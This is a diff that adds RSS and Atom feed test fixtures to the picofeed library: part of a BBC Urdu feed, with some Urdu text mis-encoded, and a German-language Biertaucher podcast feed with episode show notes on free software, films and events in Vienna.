+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316012923_bear_144x81_ap_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316012923_bear_144x81_ap_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316012923_bear_144x81_ap_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2011-10-13:13342623</id>
+ <dc:identifier>13342623</dc:identifier>
+ <updated>2012-11-22T19:20:31+05:00</updated>
+ <published>2011-10-13T12:12:23+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="weather" label="موسم"/>
+ <rights>not restricted</rights>
+ <title xml:lang="ur">موسم</title>
+ <summary xml:lang="ur">ØªØ§Ø²Û ØªØ±ÛŒÙ† خبروں، بریکنگ نیوز، ویڈیو، آڈیو، Ùیچر اور تجزیوں Ú©Û’ لیے بی بی سی اردو Ú©ÛŒ ویب سائٹ پر آئیں۔ </summary>
+ <dc:subject>بی بی سی اردو، اردو، موسم، بارش، پاکستان، انڈیا، دنیا، bbc urdu, urdu, weather, rain, pakistan, india, world</dc:subject>
+ <link rel="alternate" type="text/html" title="index"
+ href="http://www.bbc.co.uk/urdu/weather/">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-index"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/weather/"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2011/02/25/110225095404_weather_144.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2011/02/25/110225095404_weather_144.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2011/02/25/110225095404_weather_144.jpg"
+ width="144"
+ height="81">
+ <img alt="موسم" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2011/02/25/110225095404_weather_144.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2013-08-23:26641237</id>
+ <dc:identifier>26641237</dc:identifier>
+ <updated>2013-08-23T19:38:30+05:00</updated>
+ <published>2013-08-23T19:35:23+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category term="external"/>
+ <rights>not restricted</rights>
+ <title xml:lang="ur">صحاÙیوں Ú©ÛŒ رÛنمائی Ú©Û’ لیے ویب سائٹ</title>
+ <summary xml:lang="ur">صحاÙیوں Ú©ÛŒ رÛنمائی Ú©Û’ لیے ویب سائٹ</summary>
+ <dc:subject>کال٠آ٠جرنلزم، cojo, college of journalism, urdu</dc:subject>
+ <link rel="alternate" type="text/html" title="external-page"
+ href="http://www.bbc.co.uk/academy/urdu">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/08/15/130815094701_college_of_journalism_promo_image_144x81.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/08/15/130815094701_college_of_journalism_promo_image_144x81.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/08/15/130815094701_college_of_journalism_promo_image_144x81.jpg"
+ width="144"
+ height="81">
+ <img alt="صحاÙیوں Ú©ÛŒ رÛنمائی Ú©Û’ لیے ویب سائٹ" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/08/15/130815094701_college_of_journalism_promo_image_144x81.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+</feed> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/biertaucher.xml b/vendor/fguillot/picofeed/tests/fixtures/biertaucher.xml
new file mode 100644
index 000000000..ac37b61cf
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/biertaucher.xml
@@ -0,0 +1,7198 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" version="2.0">
+ <channel>
+ <atom:link href="http://spielend-programmieren.at/biertaucher.xml" rel="self" type="application/rss+xml"/>
+ <title>Biertaucher Podcast</title>
+ <description>Der wöchentlicher Podcast aus Wien über freie Software und andere Nerd Themen.</description>
+ <link>http://biertaucher.at</link>
+ <language>de</language>
+ <copyright>Copyright 2014 CC-BY-SA</copyright>
+ <lastBuildDate>Wed, 15 Oct 2014 19:15:00 +0100</lastBuildDate>
+ <pubDate>Wed, 15 Oct 2014 19:15:00 +0100</pubDate>
+ <docs>http://blogs.law.harvard.edu/tech/rss</docs>
+ <webMaster>horst.jens@spielend-programmieren.at (Horst JENS)</webMaster>
+ <image>
+ <url>http://spielend-programmieren.at/biertaucherlogo.jpg</url>
+ <title>Biertaucher Podcast</title>
+ <link>http://biertaucher.at</link>
+ </image>
+ <itunes:author>Horst JENS, Gregor PRIDUN, und Freunde</itunes:author>
+ <itunes:subtitle>Der wöchentliche Podcast aus Wien über freie Software und andere Nerd-Themen</itunes:subtitle>
+ <itunes:summary>Wir treffen uns jede Woche in Wien (siehe Shownotes), trinken Bier und reden dabei über freie (free/libre/open source) Software und andere Nerd-Themen. Zu jeder Sendung gibt es eine ausführlich verlinkte Shownote-Seite mit Links, Bildern, Videos. Zu finden unter http://biertaucher.at (dann weiterklicken auf die jeweilige Sendung).</itunes:summary>
+ <itunes:image href="http://spielend-programmieren.at/biertaucherlogo.jpg"/>
+ <itunes:owner>
+ <itunes:name>Horst JENS</itunes:name>
+ <itunes:email>horstjens@gmail.com</itunes:email>
+ </itunes:owner>
+ <itunes:explicit>No</itunes:explicit>
+ <itunes:category text="Technology">
+ <itunes:category text="Podcasting"/>
+ <itunes:category text="Gadgets"/>
+ <itunes:category text="Software How-To"/>
+ </itunes:category>
+
+<item>
+ <title>Biertaucher Folge 177</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:177</link>
+ <pubDate>Wed, 15 Oct 2014 19:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher177.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:177&amp;title=Biertaucher%20Folge%20177&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Michael OLP und Dr. WERNER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/2kzqH8 oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/2kzqH8">hier klicken um die Shownotes zur Folge 177</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B>, <b>Michael OLP</B> und <b>Dr. WERNER plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ ><li> 0:00:00 Begrüßung, Sponsorenhuldigung
+</li><li> 0:00:54 rituelle Frage, worüber wir reden werden, Interviews
+</li><li> 0:02:46 Tech-News: <a href="https://www.kickstarter.com/projects/augustgermar/anonabox-a-tor-hardware-router">Anonabox auf Kickstarter</a>: anonymisiert surfen mit Tor, mit einem fertig konfiguriertem Kasterl
+</li><li> 0:05:42 Tech-News: <a href="http://www.heise.de/open/meldung/Fundraising-fuer-LibreOffice-2419962.html">pdf digital signieren</a>
+</li><li> 0:07:17 <a href="http://spielend-programmieren.at/blog/20141010_demonstrationgegennetzsperren.html">Horst war am Freitag, dem 10.10.2014 auf einer sehr spontan angekündigten Demonstration gegen Netzsperren</a> vor dem <a href="http://www.vap.cc/">Verein für Anti-Piraterie</a>. Siehe auch Interviews am Ende des Podcasts bzw. externer Audio-Link oben.
+</li><li> 0:15:08 Mafia-TV-Serie: <a href="https://de.wikipedia.org/wiki/Gomorrah_(Fernsehserie)">Gomorrah</a>
+</li><li> 0:25:20 Gamecity-Report: Horst war am Wochenende auf dem spielend-programmieren/FSFE Messestand auf der Gamecity 2014 im Wiener Rathaus. Es gab erstmals einen <a href="http://spielend-programmieren.at/blog/20141003_gamecityfolder.html">gemeinsam erstellten Falt-Folder</a>. siehe auch <a href="http://Spielend-programmieren.at/blog">spielend-programmiern Blog</a>-
+</li><li> 0:36:24 Gamecity-Report: Indy-Game Entwickler <a href="http://www.senoi.net/">Senoi</a> (location-based Webgame, siehe Gamecity 2013) und <a href="http://blockadillo.com/">Blockadillo</a>, <a href="http://subotron.com/">Subotron</a>'s Pong Videospiel, Minecraft auf XBox.
+</li><li> 0:41:41 schöner Rollenspielen: Gregor spielt erstmals das Pen and Paper Rollenspiel: <a href="https://de.wikipedia.org/wiki/Savage_Worlds">Savage Worlds</a>
+</li><li> 0:51:16 Gamecity Report: Besucherströmungslehre, klassische Musik auf der Game City
+</li><li> 0:57:00 Kino: <a href="http://www.amazon.de/gp/product/B00NOLZA16/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00NOLZA16&linkCode=as2&tag=spielendprogr-21&linkId=2YVY7DMFKAO4APQY">Sin City 2 - A Dame to kill for</a>
+</li><li> 1:02:21 schöner Fernsehen: Frauengefängnis-Serie von Netflix: <a href="http://www.amazon.de/gp/product/B00HT29OVI/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00HT29OVI&linkCode=as2&tag=spielendprogr-21&linkId=MDH4EMVKGX22QHXC">Orange is the new black</a>
+</li><li> 1:09:19 **Interview** mit Dr. Werner Müller, Vorsitzender vom Verein für Anti-Piraterie der Filmwirtschaft, aufgenommen bei der Demonstration gegen Netzsperren am 10.10.2014 in Wien. Siehe auch <a href="http://spielend-programmieren.at/blog/20141010_demonstrationgegennetzsperren.html">Bericht und Transkript</a>
+</li><li> 1:27:37 **Interview** mit zwei Demonstrationsteilnehmern bei der Demonstration gegen Netzsperren (10.10.2014, Wien) über ihre Beweggründe zur Demonstration zu gehen.
+</li><li> 1:30:17 **Interview** mit Michael Olb, Entwickler vom Smartphone-Spiel Blockadillo über sein Spiel im Speziellen und Spieleentwicklung/Publizierung im Google Play Store im Speziellen. Aufgenommen auf der Gamecity im Wiener Rathaus, 12.10.2014
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher177.mp3" length="75828107" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst berichtet von der Gamecity und der Anti-Netzsperren-Demo, Gregor kämpft beim Rollenspiel Scavengers gegen Zombie-Hunde und schaut Mafia bzw. Frauengefängnis-Serien.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/2kzqH8 http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:45:15</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 177, Gamecity, Netzsperren, Demonstration, Mafia, Rollenspiel, Tor, Anonabox, pdf signieren, Piratenpartei, Verein für AntiPiraterie, Gomorrha, FSFE, Savage Worlds, SinCity2, Blockadillo, Werner Mueller, Michael Olb
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 176</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:176</link>
+ <pubDate>Wed, 08 Oct 2014 23:55:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher176.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:176&amp;title=Biertaucher%20Folge%20176&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/RRBcP8 oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/RRBcP8">hier klicken um die Shownotes zur Folge 176</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> und <b>Gregor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ ><li> 0:00:00 Begrüßung, Sonsorenbebettelung
+</li><li> 0:00:54 Worüber wir reden werden
+</li><li> 0:02:00 <a href="https://de.wikipedia.org/wiki/LiMux">Limux (Linux München)</a>: politische Schwierigkeiten
+</li><li> 0:04:11 Hörerfeedback! (nvidia-Treiber)
+</li><li> 0:07:20 Horst versucht einen <a href="http://www.fsf.org/blogs/rms/20140407-geneva-tedx-talk-free-software-free-society">Stallman Talk von TedxGeneva</a> zu übersetzen fürs <a href="http://spielend-programmieren.at/de:ris:start">RIS-Journal 002</a>, Lizenzprobleme
+</li><li> 0:10:00 Scribus vs LaTeX
+</li><li> 0:11:42 Gregor verlässt seine Couch für das das <a href="http://www.wavesvienna.com/">Waves-Music Festival</a> und hört unentdeckte Musikgruppen
+</li><li> 0:21:14 Theater- und Konzert<a href="http://hutterer.blog.de/2009/07/02/beste-begehrteste-theaterabo-wiens-6438585/">abonnoments</a>.
+</li><li> 0:22:30 Horst's spielend-programmieren Messestand auf der <a href="http://spielend-programmieren.at/blog/20141003_gamecityfolder.html">Gamecity Wien</a>
+</li><li> 0:27:44 Gregor schaut noch eine Welt-am-Draht-Adaption: <a href="http://www.amazon.de/gp/product/B00004TYXU/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00004TYXU&linkCode=as2&tag=spielendprogr-21&linkId=DMVFY6VNCZLPSYIQ">The 13th floor</a> (1999): lahme Optik mit überraschend guter Handlung
+</li><li> 0:30:55 deutsche SciFi: Horst mag die <a href="http://www.amazon.de/gp/product/B000NVLHYE/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B000NVLHYE&linkCode=as2&tag=spielendprogr-21&linkId=FBGNBY4FL3H7LKEC">Fernseh(!) Serie namens "Raumpilot"</a> / Stanislav Lem Sternentagebücher (Gregors Podcastempfehlung: <a href="http://spoileralert.bildungsangst.de/episodes/spa003-der-waschmaschinenplanet/">Spoileralert</a>
+</li><li> 0:35:30 deutsche Scifi: der erste (und einzige) <a href="http://www.amazon.de/gp/product/B00004RO57/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00004RO57&linkCode=as2&tag=spielendprogr-21&linkId=DP722GAPVKAXXFJX">Perry Rhodan</a> Realfilm (1967)
+</li><li> 0:41:18 Horst war beim Wiener Tierschutzlauf Streckenposten und hat Martin Balluch und dessen Hund Kuksi gesehen, aber noch nicht das Buch <a href="http://www.amazon.de/gp/product/3853713777/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3853713777&linkCode=as2&tag=spielendprogr-21&linkId=IDKKSB6Y2WAQN4EO">Der Hund und sein Philosoph</a> gekauft. Indisches Veggie-Essen: <a href="https://en.wikipedia.org/wiki/Samosa">Samosa</a>
+</li><li> 0:45:55 Film ohne Handlung: <a href="http://www.amazon.de/gp/product/B00ABXSRU6/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00ABXSRU6&linkCode=as2&tag=spielendprogr-21&linkId=MH2AKUKIC7XTHCNU">Holy Mountain</a> von <a href="https://en.wikipedia.org/wiki/Alejandro_Jodorowsky">Alejandro Jodorowsky</a>
+</li><li> 0:48:39 Horst bloggt noch immer begeistert statisch mit <a href="http://blog.getpelican.com/">Pelican</a> (statische Blog Engine mit Python)
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher176.mp3" length="36887446" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Gregor verlässt sein Sofa für das Wave-Festival und schaut SciFi Filme aus den Siebzigern, Horst erfreut sich an Pelican, Raumpoilot, indischem Essen beim Tierschutzlauf und freut sich auf die Gamecity.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/RRBcP8 http://biertaucher.at
+</itunes:summary>
+<itunes:duration>0:51:10</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 176, Limux, München, Nvidia, Scribus, Wavesvienna, Musikfestival, Gamecity, The 13th floor, Raumpilot, Stanislv Lem, Tischschutzlauf, Balluch, Holy Mountain, Perry Rhodan, Samosa, Tierschutzlauf
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 175</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:175</link>
+ <pubDate>Wed, 01 Oct 2014 11:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher175.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:175&amp;title=Biertaucher%20Folge%20175&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/FuSm63 oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/FuSm63">hier klicken um die Shownotes zur Folge 175</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> und <b>Gregor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung (unterwegs auf den Straßen Wien's), Sponsorenhuldigung
+</li><li> 0:01:16 Worüber wir reden werden
+</li><li> 0:03:22 <a href="http://www.heise.de/security/meldung/ShellShock-Teil-3-Noch-drei-Sicherheitsprobleme-bei-der-Bash-2404788.html">Shellshock</a>: Sicherheitslücke seit 22 Jahren unerkannt?
+</li><li> 0:07:20 Horst freut sich über <a href="http://www.linuxvoice.com/">Linux Voice</a> Issue 8 wurde veröffentlicht, mit <a href="http://www.gamingonlinux.com/">Gaming on Linux</a>
+</li><li> 0:10:09 <a href="http://www.pro-linux.de/news/1/21564/nvidia-erschwert-die-entwicklung-freier-firmware.html">Nvidia erschwert freie Treiber-Entwicklung</a>
+</li><li> 0:12:38 Horst war zufällig bei den <a href="https://www.wien.gv.at/umwelt/natuerlich/weinwandertag.html">Wiener Weinwandertagen</a>
+</li><li> 0:14:37 Gregor ist entsetzt dass eine Videothek in ein In-Lokal verwandelt wird. Coworking-Space Schalzhofgasse, <a href="http://www.diestadtspionin.at/reportagen/naehboom.php">Nähmaschinenworkshop</a>
+</li><li> 0:16:45 R100 (siehe Biertaucherpodcast 174) liegt komplett auf Youtube
+</li><li> 0:17:13 Slashfilmfestival: <a href="http://slashfilmfestival.com/programm-2014/borgman/">Borgmann</a>
+</li><li> 0:22:04 Slashfilmfestival: <a href="https://en.wikipedia.org/wiki/Burying_the_Ex">Burying the Ex</a>, Horrorkomödie von Joh Dante
+</li><li> 0:24:35 Kino: <a href="https://en.wikipedia.org/wiki/Maps_to_the_Stars">Maps to the Stars</a> von <a href="https://en.wikipedia.org/wiki/David_Cronenberg">David Cronenberg</a> (siehe auch <a href="https://en.wikipedia.org/wiki/Episodes_(TV_series)">Episodes</a>)
+</li><li> 0:32:25 Slashfilmfestival: Menschenleeres Hongkong: <a href="https://en.wikipedia.org/wiki/The_Midnight_After">The midnight after</a>
+</li><li> 0:36:34 Slashfilmfestival: Endzeit in Australien: <a href="https://en.wikipedia.org/wiki/These_Final_Hours">The Final Hours</a>
+</li><li> 0:41:11 (Slashfilmfestival): Larp-Horrorkomödie: <a href="https://en.wikipedia.org/wiki/Knights_of_Badassdom">Knights of Badassdom</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher175.mp3" length="34459552" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Gregor berichtet vom Slashfilmfestival, Horst war am Weinwandertag, im Kino und freut sich über Linux Voice Issue 8</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/FuSm63 http://biertaucher.at
+</itunes:summary>
+<itunes:duration>0:47:24</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 175, Linux Voice, Weinwandertag, Map to the Stars, Slahsfilmfestival, Shellshock, Borgmann, Burying the Ex, The midnight after, The final hours, Knights of Badassdom
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 174</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:174</link>
+ <pubDate>Fri, 26 Sep 2014 11:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher174.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:174&amp;title=Biertaucher%20Folge%20174&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/ieoYeI oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/ieoYeI">hier klicken um die Shownotes zur Folge 174</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> und <b>Gregor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung, Sponsorenhuldigung, worüber wir reden werden
+</li><li> 0:01:19 Tehma von Bernhard: <a href="http://www.androidpit.de/nexus-5-google-tauscht-kaputte-displays-kostenlos-aus">Google-Austauschprogramm in USA für Displaybruch</a>, Gregor beklagt Fehlen von verlässslichen Android-Reperaturshops
+</li><li> 0:05:51 neue <a href="http://derstandard.at/2000005788229/Kuenftige-Android-Versionen-verschluesseln-von-Haus-aus">Android Version kommt mit default Verschlüsselung</a>:
+</li><li> 0:07:18 Fail: Horst's Bücherspende wird von der <a href="http://www.buechereien.wien.at/de/standorteoeffnungszeiten/hauptbuecherei">Hauptbücherei Wien</a> nicht angenommen: <a href="http://offener-buecherschrank.at/">offener Bücherschrank</a> schon
+</li><li> 0:09:39 Gregor war am Slashfilmfestival: <a href="http://www.amazon.de/gp/product/B00008V5TU/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00008V5TU&linkCode=as2&tag=spielendprogr-21&linkId=DMAJVWUOSCDSCIV5">Housebound</a> Fußfessel/Geisterspöatterkomödie aus Neuseeland.
+</li><li> 0:13:38 Open-Source Rogue-like für Android aus Russland: <a href="http://pixeldungeon.wikia.com/wiki/Main_Page">Pixeldungeon</a>
+</li><li> 0:16:17 Humble Bundle: Gregor erfreut sich an Luftrausers und <a href="http://www.gonehomegame.com/">Gone Home</a>
+</li><li> 0:21:17 Politik besser verstehen (schottisches Unabhängigkeitsreferendum): <a href="http://www.amazon.de/gp/product/0465013333/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=0465013333&linkCode=as2&tag=spielendprogr-21&linkId=RRPSCUIWSBYUFJ7M">Europe, Struggle for Supremacy</a>. <a href="http://alternativlos.org/32/">Alternativlos-Podcast Folge #32</a> über West-Ost Konflikt, Instrumentalisierung von Menschenrechten.
+</li><li> 0:25:20 Slashfilmfestifal: <a href="http://www.amazon.de/gp/product/B00KX6ZN6C/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00KX6ZN6C&linkCode=as2&tag=spielendprogr-21&linkId=AZDZXCG2TQMI4GMT">R100 - bizarr harmloser Horror aus Japan</a> mit Altersfreigabe ab 100 Jahren
+</li><li> 0:32:32 Slashfilmfestival: Horror aus Österreich (Ulrich Seidl) Ich seh ich seh
+</li><li> 0:37:36 Slashfilmfestival: <a href="http://www.amazon.de/gp/product/B00NDF1R9W/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00NDF1R9W&linkCode=as2&tag=spielendprogr-21&linkId=RWDAW7N2AQGRBYBK">Oculus</a>: böser, unzerstörbarer Spiegel verhext Menschen
+</li><li> 0:40:00 Slashfilmfestival: Badabuk, Horror aus dem Kinderbuch
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher174.mp3" length="34173041" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Gregor berichtet vom Slashfilmfestival, Horst scheitert beim Bücher spenden</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/ieoYeI http://biertaucher.at
+</itunes:summary>
+<itunes:duration>0:47:24</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 174, Android, Reperatur, offener Bücherschrank, Hauptbücherei Wien, Slashfilmfestival, Housebound, Pixeldungeon, Roguelike, Gone Home, Europe, Politik, Alternativlos, Horror, R100, Okulus
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 173</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:173</link>
+ <pubDate>Thu, 18 Sep 2014 17:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher173.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:173&amp;title=Biertaucher%20Folge%20173&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN und Florian SCHWEIKERT plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/CmM0qO oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/CmM0qO">hier klicken um die Shownotes zur Folge 173</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B> und <b>Florian SCHWEIKERT</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ 0:00 Begrüßung, Sponsorenhuldigung
+</li><li> 0:00:57 rituelle Frage, worüber wir reden werden: Florians Reisebericht, Gregors japan. Anime-Serie, Horst rezensiert "Europe", ct'Sonderheft programmieren, Linux Voice Magazin und Streetlifefestival
+</li><li> 0:02:06 vermischte Meldungen: <a href="http://digitalcity.wien/aktionstag-digitalcity-wien-ein-voller-erfolg/">"I love IT Flashmob vor dem Rathaus"</a>
+</li><li> 0:03:25 wir gratulieren Notch zum <a href="http://notch.net/2014/09/im-leaving-mojang/">Minecraft Verkauf an Microsoft</a>
+</li><li> 0:05:25 Gregor war nicht sonderlich begeistert von der <a href="http://youtu.be/Fceo-NO09C4">Apple Keynote</a>
+</li><li> 0:09:00 <a href="http://www.heise.de/newsticker/meldung/HP-muss-italienischem-PC-Kaeufer-Kaufpreis-fuer-Microsoft-Software-rueckerstatten-190053.html">Gerichtsurteil in Italien</a>: ungewünschte Microsoft Windows Lizenz beim PC Kauf muss rückerstattet werden.
+</li><li> 0:11:11 Horst ist begeistert vom <a href="http://www.linuxvoice.com/">Linux Voice Magazin</a>: Epub format und alle Artikel nach 9 Monaten cc-by-sa lizensiert! Linux-Podcasts: Linux outlaws und Ubuntu ?
+</li><li> 0:14:12 Florians Reisebericht: wild Zelten im <a href="http://www.dartmoor-npa.gov.uk/">Dartmoor</a>
+</li><li> 0:26:01 Gregor schaut japanische Anime-Serien: (<a href="https://de.wikipedia.org/wiki/Akira_(Manga)">Akira</a>, <a href="https://de.wikipedia.org/wiki/Ghost_in_the_Shell">Ghost in the Shell</a>): <a href="https://de.wikipedia.org/wiki/Cowboy_Bebop">Cowboy Bebop</a>
+</li><li> 0:31:59 Horst verseucht seinen <a href="http://spielend-programmieren.at/blog">open-everything Blog</a> mit Google-Ad-Sense Anzeigen: Blogposting über <a href="http://spielend-programmieren.at/blog/20140915_sonderheft.html">c't Sonderheft programmieren</a>: Java-Script Einführung, html5-Spielebibliotheken, genetische Algorithmen
